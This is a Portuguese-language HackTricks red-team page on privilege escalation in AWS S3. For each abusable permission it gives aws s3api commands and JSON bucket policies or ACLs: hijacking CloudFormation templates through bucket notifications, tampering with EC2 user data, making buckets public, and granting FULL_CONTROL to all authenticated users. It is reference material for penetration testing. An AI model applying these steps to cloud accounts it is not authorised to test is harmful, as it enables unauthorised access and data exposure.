AWS - S3 Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Um atacante com essas permissões sobre buckets interessantes pode ser capaz de se apropriar de recursos e escalar privilégios.

Por exemplo, um atacante com essas permissões sobre um bucket de cloudformation chamado "cf-templates-nohnwfax6a6i-us-east-1" poderá se apropriar da implantação. O acesso pode ser concedido com a seguinte política:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

E a invasão é possível porque há uma pequena janela de tempo a partir do momento em que o modelo é carregado no bucket até o momento em que o modelo é implantado. Um atacante pode simplesmente criar uma função lambda em sua conta que será acionada quando uma notificação de bucket for enviada, e sequestrar o conteúdo desse bucket.

O módulo Pacu cfn__resouce_injection pode ser usado para automatizar esse ataque. Para mais informações, consulte a pesquisa original: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Essas são as permissões para obter e fazer upload de objetos no S3. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para armazenar arquivos de configuração. Um atacante com acesso de leitura a eles pode encontrar informações sensíveis neles. Um atacante com acesso de gravação a eles poderia modificar os dados para abusar de algum serviço e tentar escalar privilégios. Aqui estão alguns exemplos:

  • Se uma instância EC2 estiver armazenando os dados do usuário em um bucket S3, um atacante poderia modificá-lo para executar código arbitrário dentro da instância EC2.

s3:PutBucketPolicy

Um atacante, que precisa ser da mesma conta, se não o erro O método especificado não é permitido será acionado, com essa permissão poderá conceder a si mesmo mais permissões sobre o(s) bucket(s) permitindo-lhe ler, gravar, modificar, excluir e expor buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Um atacante poderia abusar dessas permissões para conceder a ele mais acesso sobre buckets específicos. Note que o atacante não precisa ser da mesma conta. Além disso, o acesso de escrita.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Um atacante poderia abusar dessas permissões para conceder a ele mais acesso sobre objetos específicos dentro de buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Um invasor com esses privilégios é esperado ser capaz de colocar um Acl em uma versão específica do objeto

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización